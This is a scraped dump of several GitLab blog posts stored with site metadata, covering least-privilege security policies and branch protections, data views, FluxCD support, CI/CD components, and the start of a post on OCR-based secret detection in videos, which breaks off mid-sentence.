Execution policy actions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image15_aHR0cHM6_1750099455077.png)\n\n \u003Ccenter>\u003Ci>Scan Execution policy actions\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n  - **Conditions:** Conditions which must be met (a pipeline is triggered or on a set schedule) in order for an action to take place.\n\n    ![Scan Execution policy conditions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750099455078.png)\n \u003Ccenter>\u003Ci>Scan Execution policy conditions\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n- Press the **Configure with a merge request** button.\n\nNow that the policy has been created, all we need to do is run a pipeline to see that SAST will be present even if it is not defined in the .gitlab-ci.yml.\n\n### Creating a Merge Request Approval policy\n\nNow let's take a look at how to create a Merge Request Approval policy. Before getting started make sure you have met the following criteria:\n- GitLab Ultimate tier in the top-level group\n- Owner role to create/assign an SPP\n- Developer role or greater to create/edit/delete individual security policies\n- Security scanners added to project\n\nWe will be creating a policy that requires approval from project maintainers if any security scanner detects a vulnerability when compared with any branch:\n\n1. On the left sidebar, select **Search or go to** and search for the project to which you wish to add a policy.\n2. On the project left sidebar, go to **Secure > Policies**\n3. Select **New policy**\n4. In the **Merge Request Approval policy** section, select **Select policy**.\n5. Complete the fields:\n    - **Name:** The name of the policy\n    - **Description:** The description of the policy\n    - **Policy status:** Whether it is enabled or not\n    - **Rules:** The conditions which must be met for an action (require approval) to take place.\n\n![Merge Request Approval policy rules](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image17_aHR0cHM6_1750099455079.png)\n\n\u003Ccenter>\u003Ci>Merge Request Approval policy rules\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n   - **Actions:** The action to be taken whenever the conditions in the rules (defined vulnerabilities/licenses detected) are met.\n\n![Merge Request Approval  policy actions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099455080.png)\n\u003Ccenter>\u003Ci>Merge Request Approval  policy actions\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n   - **Override project approval settings:** If selected, the following choices will overwrite project settings but only affect the branches selected in the policy.\n\n![Merge Request Approval policy approval settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image21_aHR0cHM6_1750099455081.png)\n\n\u003Ccenter>\u003Ci>Merge Request Approval policy approval settings\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n6. Press the **Configure with a merge request** button.\n\nNow that the policy has been created, all we need to do is run a pipeline and if SAST detects any vulnerabilities then approvals will be required from the selected approver before the code change can be merged. Merge Request Approval policies can be used with all GitLab security scanners, including license scanning.\n\n![Merge Request Approval policies blocking code from being merged in an MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099455082.png)\n\n\u003Ccenter>\u003Ci>Merge Request Approval policies blocking code from being merged in an MR\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n## Branch protections and Code Owners\n[Branch protections](https://docs.gitlab.com/ee/user/project/protected_branches.html) allow you to impose additional restrictions on particular branches within your repository. This further strengthens the PoLP for the interactions on a particular set of branches. \n\nFor example, a protected branch can control:\n- which users can merge into the branch\n- which users can push to the branch\n- if users can force push to the branch\n- if changes to files listed in the CODEOWNERS file can be pushed directly to the branch\n- which users can unprotect the branch\n\n### Applying branch protections\n\nBranch protections are available in all tiers and offerings of GitLab. Branch protections can be applied to a single project or a group of projects. You can apply branch protections for required roles to push and merge as follows:\n\n1. On the left sidebar, select **Search or go to** and find your project or group.\n2. Select **Settings > Repository**.\n3. Expand **Protected branches**.\n4. Select **Add protected branch**.\n    - For groups, from the **Branch** text box, type the branch name or a wildcard.\n    - For projects, from the **Branch** dropdown list, select the branch you want to protect.\n5. From the **Allowed to merge** list, select a role that can merge into this branch.\n6. From the **Allowed to push and merge** list, select a role that can push to this branch.\n7. Select **Protect**.\n\nYou should now see the protected branch added to the list.\n\n![Protected branches settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750099455082.png)\n\n\u003Ccenter>\u003Ci>Protected branches settings\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nThe Owner role is required to add branch protections to a group and the Maintainer role or greater is required to add branch protections to a project.\n\n### Code Owners\nIf you want to further limit what files developers can perform changes on, one of the best features to implement is [Code Owners](https://docs.gitlab.com/ee/user/project/codeowners/). Code Owners allows you to define who has the expertise for specific parts of your project’s codebase. Defining the owners of files and directories in Code Owners will:\n\n- require owners to approve changes as well as merge requests before they merge into a protected branch\n- identify owners by displaying the Code Owner names on the files and directories they own\n\nTo set up Code Owners, follow these steps:\n1. Create a CODEOWNERS file in your preferred location.\n2. Define some rules in the file following the Code Owners syntax reference. You can configure all eligible approvers' approval rules and require Code Owner approval on a protected branch.\n3. Commit your changes, and push them up to GitLab.\n\nNow, when looking at files, you can see who the Code Owners are for a particular file.\n\n![Code Owners displayed for file](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099455083.png)\n\n\u003Ccenter>\u003Ci>Code Owners displayed for file\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nIf you implement Code Owner approvals, then when creating a merge request, the Code Owners must approve before the code can be merged.\n\n![Code Owners approvals](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099455084.png)\n\n\u003Ccenter>\u003Ci>Code Owners approvals\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n### Additional approval settings\nThere are additional approval settings that can be applied before code can be committed with a merge request. These additional approval settings are as follows:\n- prevent approval by author\n- prevent approvals by users who add commits\n- prevent editing approval rules in merge requests\n- require user re-authentication (password or SAML) to approve\n\nAdditionally, whenever a commit is added, you can:\n- keep approvals\n- remove all approvals\n- remove approvals by Code Owners if their files changed\n\n![Additional Approval settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750099455084.png)\n\n\u003Ccenter>\u003Ci>Additional Approval settings\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nTo configure additional approval settings you can perform the following steps:\n1. On the left sidebar, select **Search or go to** and find your project.\n2. Select **Settings > Merge requests**.\n3. Scroll down to the **Merge request approvals** section.\n4. Under **Approval settings** select the approval settings you would like to apply.\n5. Press the **Save changes** button.\n\nThese can also be applied to your top-level group by performing the following steps:\n1. On the left sidebar, select **Search or go to** and find your top-level group.\n2. Select **Settings > General**.\n3. Expand the **Merge request approvals** section.\n4. Under **Approval settings** select the approval settings you would like to apply.\n5. Press the **Save changes** button.\n\nBy leveraging these approval settings you can make sure that code always obtains oversight by a person who was not involved in creating the code, thereby preventing a conflict of interest.\n\n## Compliance pipelines and frameworks\nYou can create a compliance framework that is a label to identify that your project has certain compliance requirements or needs additional oversight. The label can optionally enforce compliance pipeline configuration to the projects on which it is applied.\n\nFeel free to leverage the [Compliance Frameworks Demo](https://gitlab.com/gitlab-de/tutorials/security-and-governance/compliance-frameworks) group to see an example of compliance frameworks and their usage.\n\n### Create a compliance pipeline\nTo create a compliance pipeline, all you need to do is create a new project which will store a `.gitlab-ci.yml` file that we wish to use in another project. The new compliance pipeline project can have separate permissions from the project to which you will apply it. This is beneficial because it prevents developers from making changes to pipelines that must run.\n\nYou can see I have created the following [pipeline definition](https://gitlab.com/gitlab-de/tutorials/security-and-governance/compliance-frameworks) which:\n- runs the SAST security scanner\n- runs the secret detection scanner\n- runs a SOC2 compliance job\n- runs the original pipeline defined in the project to which we will apply this pipeline. This allows developers to focus on the actual application development and the compliance team to focus on defining the SOC2 rules.\n\n### Create and apply a compliance framework\nNow that the compliance pipeline for SOC2 has been defined, we must define a compliance framework and apply it to our project. In this case, I will apply it to my Accounting Department project.\n\nTo create a compliance framework label, follow these steps:\n1. On the left sidebar, select **Search or go to** and find your group.\n2. Select **Settings > General**.\n3. Expand the **Compliance frameworks** section.\n4. Click the **Add framework** button.\n5. Create a new compliance framework and populate the following sections:\n    - **Name:** The name of your compliance framework\n    - **Description:** A description of your compliance framework\n    - **Compliance pipeline configuration:** The location of the compliance pipeline to run. \n    - **Background color:** A color for the compliance framework label\n\n![PoLP - image 15](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750099455085.png)\n\n   \u003Ccenter>\u003Ci>Creating a compliance framework\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n6. Press the **Add framework** button.\n\nAnd now you should see your newly added framework under active compliance frameworks.\n\n![Active compliance frameworks](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750099455085.png)\n\n\u003Ccenter>\u003Ci>Active compliance frameworks\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nNow let’s go ahead and assign this compliance label to our Accounting Department project:\n\n1. On the left sidebar, select **Search or go to** and find your project.\n2. Select **Settings > General**.\n3. Expand **Compliance frameworks**.\n4. Select the compliance framework created above.\n\n![Adding a compliance framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099455086.png)\n\n\u003Ccenter>\u003Ci>Adding a compliance framework\u003C/i>\u003C/center>\n\n5. Select **Save changes**.\n\nThe project should now have the compliance framework label applied. \n\n![Project running a compliance pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750099455086.png)\n\n\u003Ccenter>\u003Ci>Project running a compliance pipeline\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nThis enables separation of duties and prevents compliance pipelines from being altered by those without permissions.\n\nSecurity Policy Scope and Pipeline Execution\nOver the past several releases, GitLab has introduced two experimental features, Security Policy Scope and Pipeline Execution, to make it even easier to adhere to PoLP. These features are very similar to Compliance Pipelines and Compliance Frameworks and can be managed from GitLab’s security policy UI.\n\n**Note:** These features are currently considered experimental. An experiment is a feature that is in the process of being developed. It is not production ready. We encourage users to try experimental features and provide feedback.\n\nThe [pipeline execution policy action](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html#pipeline-execution-policy-action) introduces a new scan action type into Scan Execution policies for creating and enforcing custom CI in your target development projects. You can execute a custom pipeline along with your current pipeline. This allows you to enforce compliance by always forcing particular actions to run that are not just security scanners and that cannot be overwritten by those without permissions.\n\n![Pipeline Execution policy scope selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image18_aHR0cHM6_1750099455087.png)\n\u003Ccenter>\u003Ci>Pipeline Execution policy scope selection - insert code block\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n![Pipeline Execution policy scope selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750099455087.png)\n\u003Ccenter>\u003Ci>Pipeline Execution policy scope selection - link existing CI file\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nThe [Security policy scope](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html#security-policy-scopes) can be applied to either Merge Request Approval or Scan Execution policies. Scopes enable you to administer policies with a particular scope, meaning you can:\n\n- Include only projects containing a compliance framework label\n- Include or exclude selected projects from enforcement\n\nTo enable these experimental features, follow these steps:\n1. On the left sidebar, select **Search or go to** and find your top-level group.\n2. Select **Settings > General**.\n3. Expand **Permissions and group features**.\n4. Scroll down to the **Security policy management** section.\n5. Select the following checkboxes\n**Security policy pipeline execution action:** Create and enforce custom CI jobs and scripts using this new policy action.\n6. **Security policy scopes:** Granularly scope each policy you create to projects containing a compliance framework label, or a list of projects.\n7. **Enforce for all subgroups (optional):** Subgroups cannot change these settings.\n8. Scroll down to the **Experiment and Beta features** section.\n9. Select the **Use Experiment and Beta features** checkbox.\n10. Scroll down and press the **Save changes** button.\n\nNow, whenever you are creating a security policy, the following options will be available:\n\n- Inserting a CI code block (Scan Execution policy only)\n- Loading CI/CD code from file (Scan Execution policy only)\n- Linking an existing CI file from another project (Scan Execution policy only)\n- Scoping a policy to projects with selected compliance framework (Group Level only)\n- Scoping a policy towards specific projects (Group Level only)\n- Scoping a policy towards all projects in group (Group Level only)\n\nTo learn more about these features, check out the following documentation:\n- [Pipeline Execution Policy action (Scan Execution policy)](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html#pipeline-execution-policy-action)\n- [Security Policy Scopes (Scan Execution policy)](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html#security-policy-scopes)\n- [Security Policy Scopes (Merge Request Approval policy)](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html#security-policy-scopes)\n\n## Additional resources\n\nThanks for reading! These are some of the ways that GitLab allows you to strengthen your organization's security posture through the enablement of PoLP. To learn more about GitLab and the other ways we can strengthen your organization's security throughout all parts of the SDLC, check out the following links:\n\n- [GitLab Security and Compliance](https://about.gitlab.com/solutions/security-compliance/)\n- [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)\n- [GitLab DevSecOps Demo Project](https://gitlab.com/gitlab-de/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [GitLab DevSecOps Tutorial](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n- [GitLab Roles and Permissions Documentation](https://docs.gitlab.com/ee/user/permissions.html)\n- [GitLab Custom Roles Documentation](https://docs.gitlab.com/ee/user/custom_roles.html)\n- [GitLab Security Policies Documentation](https://docs.gitlab.com/ee/user/application_security/policies/)\n- [GitLab Compliance Frameworks Documentation](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html)\n- [GitLab Code Owners Documentation](https://docs.gitlab.com/ee/user/project/codeowners/)\n- [GitLab Branch Protections Documentation](https://docs.gitlab.com/ee/user/project/protected_branches.html)",[6141,696,674,754],{"slug":6675,"featured":92,"template":678},"the-ultimate-guide-to-least-privilege-access-with-gitlab","content:en-us:blog:the-ultimate-guide-to-least-privilege-access-with-gitlab.yml","The Ultimate Guide To Least Privilege Access With Gitlab","en-us/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab.yml","en-us/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab",{"_path":6681,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6682,"content":6688,"config":6693,"_id":6695,"_type":16,"title":6696,"_source":17,"_file":6697,"_stem":6698,"_extension":20},"/en-us/blog/enhancing-gitlab-with-improved-data-filtering-and-visualizations",{"title":6683,"description":6684,"ogTitle":6683,"ogDescription":6684,"noIndex":6,"ogImage":6685,"ogUrl":6686,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6686,"schema":6687},"Enhancing GitLab with improved data filtering and visualizations","Discover how GitLab's new data views will streamline your workflow and power decision-making.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099097/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099097133.png","https://about.gitlab.com/blog/enhancing-gitlab-with-improved-data-filtering-and-visualizations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enhancing GitLab with improved data filtering and visualizations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-03-05\",\n      }",{"title":6683,"description":6684,"authors":6689,"heroImage":6685,"date":6690,"body":6691,"category":1897,"tags":6692},[1894],"2024-03-05","In the hectic world of product management, quick access, refinement, and visualization of data are essential to drive efficiency and productivity forward. Our recent exploration into the needs of product managers uncovered a vital link between their success and their ability to make data-driven decisions. Conversely, the drain on time and development resources emerged as a significant deterrent to high performance.\n\nRecognizing the critical role of data in strategic decision-making and prioritization, we're excited to announce an upcoming initiative, [Improved Data Filtering and Visualization](https://gitlab.com/groups/gitlab-org/-/epics/5516). This initiative focuses on the usability, flexibility, and efficiency of GitLab's planning views, simplifying how users interact with, recall, and share project data.\n\n## Streamlining data interaction and retrieval\n\nWe're focusing on consolidating multiple views into a unified platform, eliminating confusing navigation, and enabling users to create complex queries in a user-friendly manner. This approach not only makes data more accessible but also empowers users to visualize it in formats that best suit their needs. By providing a single hub for data access and presentation, we're making it easier for users to obtain critical information they need to make more informed, data-driven decisions quickly, leading to streamlined workflows and elevated project outcomes.\n\n### The evolution from multiple views to a single, configurable experience\n\nHere is what it looks like when you evolve from multiple views to a single, configurable experience:\n\n![Image of moving from multiple views to a single view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099112/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099112252.png)\n\n## Transforming workflows with real-world applications\n\nImagine a scenario where you must review the progress of multiple interconnected projects. Traditionally, this would involve navigating through various parts of GitLab, each with its own set of filters and views. With our Improved Data Filtering and Visualization initiative, you will now access a consolidated view that allows for creating intuitive queries. This new view can display issues and epics in a nested format, providing the hierarchical context you need to understand your project structure fully. What's more, you will have the ability to easily switch to a roadmap or board view as your use case demands.\n\nAnother example involves a development team planning their upcoming sprint. Instead of juggling between different pages for issues, epics, and boards, the team can utilize a single, customized view that allows them to view the context of related work items, update the status of work without opening multiple tabs, and understand work item dependencies. This saves precious synchronous time for the team and creates an efficient workflow by bringing visibility teams need to the forefront.\n\n## Engage with us!\n\nAs we venture into this transformative initiative, your insights and feedback will become the backbone of our progress. We're not merely enhancing features; we're on a mission to revolutionize how product planning can be successful within GitLab. Your insights will help turn this ambitious vision into reality.\n\nDelve into our proposed feature iterations [detailed within our initiative](https://gitlab.com/groups/gitlab-org/-/epics/5516#feature-iterations) and leave your comments on the epic. Your perspective on these enhancements is invaluable, helping us refine our approach and ensure it aligns with your needs and expectations.\n\nThis is more than a call to action — it's an invitation to shape the future of GitLab together. Share your feedback, suggestions, and visions with us!\n\n## Leverage Agile planning with GitLab\n\nBuilding on our commitment to streamlining workflows with the Improved Data Filtering and Visualization initiative, it's worth highlighting that GitLab also deeply integrates Agile delivery principles to enhance software development lifecycles. Discover how GitLab bridges strategy with execution, enabling teams to adopt Agile methodologies like Scrum and Kanban, and scale with frameworks such as [SAFe](https://scaledagileframework.com/) and [LeSS](https://less.works/less/framework).\n\n> Explore more about [enhancing Agile Delivery with GitLab](https://about.gitlab.com/solutions/agile-delivery/) and drive faster value creation.\n",[1899,479,2368,695],{"slug":6694,"featured":6,"template":678},"enhancing-gitlab-with-improved-data-filtering-and-visualizations","content:en-us:blog:enhancing-gitlab-with-improved-data-filtering-and-visualizations.yml","Enhancing Gitlab With Improved Data Filtering And Visualizations","en-us/blog/enhancing-gitlab-with-improved-data-filtering-and-visualizations.yml","en-us/blog/enhancing-gitlab-with-improved-data-filtering-and-visualizations",{"_path":6700,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6701,"content":6707,"config":6711,"_id":6713,"_type":16,"title":6714,"_source":17,"_file":6715,"_stem":6716,"_extension":20},"/en-us/blog/the-continued-support-of-fluxcd-at-gitlab",{"title":6702,"description":6703,"ogTitle":6702,"ogDescription":6703,"noIndex":6,"ogImage":6704,"ogUrl":6705,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6705,"schema":6706},"The continued support of FluxCD at GitLab","GitLab is committed to working with other partners to make sure that Flux remains a stable, reliable, and mature Cloud Native Computing Foundation project.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664472/Blog/Hero%20Images/gitlabflatlogomap.png","https://about.gitlab.com/blog/the-continued-support-of-fluxcd-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The continued support of FluxCD at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2024-03-05\",\n      }",{"title":6702,"description":6703,"authors":6708,"heroImage":6704,"date":6690,"body":6709,"category":736,"tags":6710},[2544],"Last month, Weaveworks CEO Alexis Richardson [announced publicly](https://www.linkedin.com/posts/richardsonalexis_hi-everyone-i-am-very-sad-to-announce-activity-7160295096825860096-ZS67) the company, which is the main sponsor of FluxCD, is closing its doors and shutting down its commercial operations.\n\nGitLab made a strategic decision in early 2023 [to integrate FluxCD with its agent for Kubernetes offering](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/) as the recommended GitOps solution. While we were sad to see the news about Weaveworks, the company, it in no way changes our commitment to FluxCD, the project, and its ability to drive efficiencies for our customers. FluxCD is a mature, enterprise-ready GitOps solution with a modern, modular architecture and clean codebase that lends itself for integration and requires minimal maintenance.\n\nIn the past month, we have had discussions with a number of companies that built their tooling around FluxCD, and together we are certain that FluxCD is a solution we want to continue to support and rely upon. We looked into switching to alternatives, but decided against other options. We are confident in the future of Flux. Flux is a mature Cloud Native Computing Foundation (CNCF) project with a large and dedicated user base. We believe that our continued support and integration with Flux serves our users the best.\n\nUnfortunately, such an organizational change affects the status of the Flux maintainers. At GitLab, we are committed to open source. When we decided to integrate with Flux, we knew that, sooner or later, we would like to have FluxCD maintainers within GitLab. Given the recent changes, we are committed even more to playing an active role in the Flux community and we want to support FluxCD for enterprise customers.\n\n> “GitLab is a proven platform for software delivery, and I am really pleased to see their leadership standing up to help and support Flux. As the inventors of GitOps and FluxCD, I know that Weaveworks people and all our customers will want to see this. For my part, I’m more confident in the future of Flux than ever, and I’m happy to see GitLab being one of the companies working on enterprise Flux support.” - Alexis Richardson, CEO, Weaveworks\n\nAs these are turbulent times in the Flux community, we are working closely with other partners to make sure that Flux remains a stable, reliable, and mature CNCF project.\n\n> Read more about [our FluxCD integration](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/).\n",[3949,736,815,676],{"slug":6712,"featured":92,"template":678},"the-continued-support-of-fluxcd-at-gitlab","content:en-us:blog:the-continued-support-of-fluxcd-at-gitlab.yml","The Continued Support Of Fluxcd At Gitlab","en-us/blog/the-continued-support-of-fluxcd-at-gitlab.yml","en-us/blog/the-continued-support-of-fluxcd-at-gitlab",{"_path":6718,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6719,"content":6725,"config":6730,"_id":6732,"_type":16,"title":6733,"_source":17,"_file":6734,"_stem":6735,"_extension":20},"/en-us/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component",{"title":6720,"description":6721,"ogTitle":6720,"ogDescription":6721,"noIndex":6,"ogImage":6722,"ogUrl":6723,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6723,"schema":6724},"Refactoring a CI/CD template to a CI/CD component","CI/CD components are the next generation of CI/CD templates, enhancing pipeline creation and maintenance. Learn how to transition from templates to components.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665989/Blog/Hero%20Images/AdobeStock_618473457.jpg","https://about.gitlab.com/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Refactoring a CI/CD template to a CI/CD component\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2024-03-04\",\n      }",{"title":6720,"description":6721,"authors":6726,"heroImage":6722,"date":6727,"body":6728,"category":734,"tags":6729},[691],"2024-03-04","GitLab recently introduced [CI/CD components](https://docs.gitlab.com/ee/ci/components/) as the next generation of the traditional CI/CD templates, and a novel approach to constructing CI/CD pipelines. CI/CD components offer reusable pipeline configurations that can be customized using input parameters.\n\nAlthough GitLab continues to support templates, they come with certain drawbacks that are addressed by the introduction of components. Therefore, we highly recommend refactoring existing templates into CI/CD components.\n\nThis article will guide you through the steps of converting your current GitLab CI/CD templates into reusable CI/CD components. Prior familiarity with how to create CI/CD components is a prerequisite, which you can learn about in this blog post: [Introducing the GitLab CI/CD Catalog Beta](https://about.gitlab.com/blog/introducing-the-gitlab-ci-cd-catalog-beta/).\n\n## How to convert a template to a component\n\nThese are the steps to convert a CI/CD template to a CI/CD component:\n1. Create a component project if you don’t have one. \n2. Copy your existing templates to the ‘templates’ directory in the component project. \n3. For each template, review the jobs listed in it and assess whether you prefer to distribute them across different components or retain some or all within the same component. While it's possible to include multiple jobs in a single component, it's advisable to create components that perform minimal tasks. This approach enhances ease of reuse and flexibility.\n4. Create a new section at the top of the configuration for the input parameters and meta data using the `spec` keyword. \n5. Replace any custom CI/CD variables and any other hard-coded values with [inputs](https://about.gitlab.com/blog/use-inputs-in-includable-files/) to maximize flexibility for consumption. Consider parameterizing elements such as stage, image, job name/job prefix, etc. \n6. Follow the [best practices](https://docs.gitlab.com/ee/ci/components/index.html#best-practices) for components.\n7. Improve the configuration, for example by enabling [merge request pipelines](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) or making it [more efficient](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html).\n\nHere is a code example of a job in an existing template:\n\n![existing template](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678076/Blog/Content%20Images/Screenshot_2024-03-03_at_12.05.25.png)\n\nAnd this is the refactored [component code](https://gitlab.com/components/aws/-/blob/main/templates/ec2-deploy-production.yml?ref_type=heads):\n\n![Converted component](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678077/Blog/Content%20Images/Screenshot_2024-03-03_at_12.07.14.png)\n\nOnce your components are ready, you can publish them to the CI/CD catalog so others will be able to find and consume them. \n\n## Take a product tour\n\nWe've prepared a brief product tour so you can quickly dive into the CI/CD catalog and see it in action (use the \"Next\" button to progress through the demo).\n\n[![Product tour of CI/CD catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678076/Blog/Content%20Images/Screenshot_2024-03-03_at_12.18.09.png)](https://gitlab.navattic.com/cicd-catalog)\n\n## Additional resources \n\nPlease refer to the official documentation on CI/CD components for more on how to [convert templates to components](https://docs.gitlab.com/ee/ci/components/#convert-a-cicd-template-to-a-component).\n\nYou can explore [an additional practical example](https://docs.gitlab.com/ee/ci/components/examples.html#cicd-component-migration-examples), demonstrating the steps to convert GitLab Go templates to CI/CD components.\n\nThen, you can watch the following video where [Fabio Pitino](https://about.gitlab.com/company/team/#fabiopitino), GitLab Principal Engineer, demonstrates the process of refactoring GitLab AWS templates to CI/CD components.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/dGCPrIAuBmE?si=1vjG_aEziY5jn-YC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line –->\n",[110,943,696],{"slug":6731,"featured":92,"template":678},"refactoring-a-ci-cd-template-to-a-ci-cd-component","content:en-us:blog:refactoring-a-ci-cd-template-to-a-ci-cd-component.yml","Refactoring A Ci Cd Template To A Ci Cd Component","en-us/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component.yml","en-us/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component",{"_path":6737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6738,"content":6744,"config":6750,"_id":6752,"_type":16,"title":6753,"_source":17,"_file":6754,"_stem":6755,"_extension":20},"/en-us/blog/how-to-detecting-secrets-in-video",{"title":6739,"description":6740,"ogTitle":6739,"ogDescription":6740,"noIndex":6,"ogImage":6741,"ogUrl":6742,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6742,"schema":6743},"How-to: Detecting secrets in video content ","GitLab’s Security team identifies and mitigates security risks in video content by searching for API keys or other sensitive tokens. Here's how we do it (with an assist from AI) and how you can, too.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099421/Blog/Hero%20Images/Blog/Hero%20Images/security-checklist_security-checklist.png_1750099421443.png","https://about.gitlab.com/blog/how-to-detecting-secrets-in-video-content","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How-to: Detecting secrets in video content \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2024-02-29\",\n      }",{"title":6739,"description":6740,"authors":6745,"heroImage":6741,"date":6747,"body":6748,"category":674,"tags":6749},[6746],"Dennis Appelt","2024-02-29","Today, we are open-sourcing our [solution for detecting secrets in video content]( https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/youtube-video-scanner). We use it internally to search videos published on our [GitLab Unfiltered YouTube channel](https://www.youtube.com/@GitLabUnfiltered) for [secrets](https://docs.gitlab.com/ee/security/token_overview.html) such as API keys and other sensitive tokens.\n\nWhile there are existing tools for secret detection, we did not find a tool that quite fit the bill for our use case, so we decided to implement a custom scanner. In this blog post, we'll walk through our general approach, some of the challenges we encountered, and our solution. We'll also discuss how GitLab’s new AI assistant, [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/), helped with the implementation of the scanner.\n\n## Scanning videos, one frame at a time\n\nOur general approach to secret detection in videos is quite simple: Split the video into frames, run optical character recognition (OCR) over each frame, and match the resulting text against known [secret patterns](https://docs.gitlab.com/ee/security/token_overview.html). If a secret is found, a [security incident](https://handbook.gitlab.com/handbook/security/security-operations/sirt/engaging-security-on-call/#engage-the-security-engineer-on-call) is kicked off to investigate the leak and revoke exposed secrets.\n\nTo implement this approach, we first experimented using [FFmpeg](https://ffmpeg.org//) for splitting the video into frames and feeding the frames to [Tesseract](https://github.com/tesseract-ocr/tesseract), an 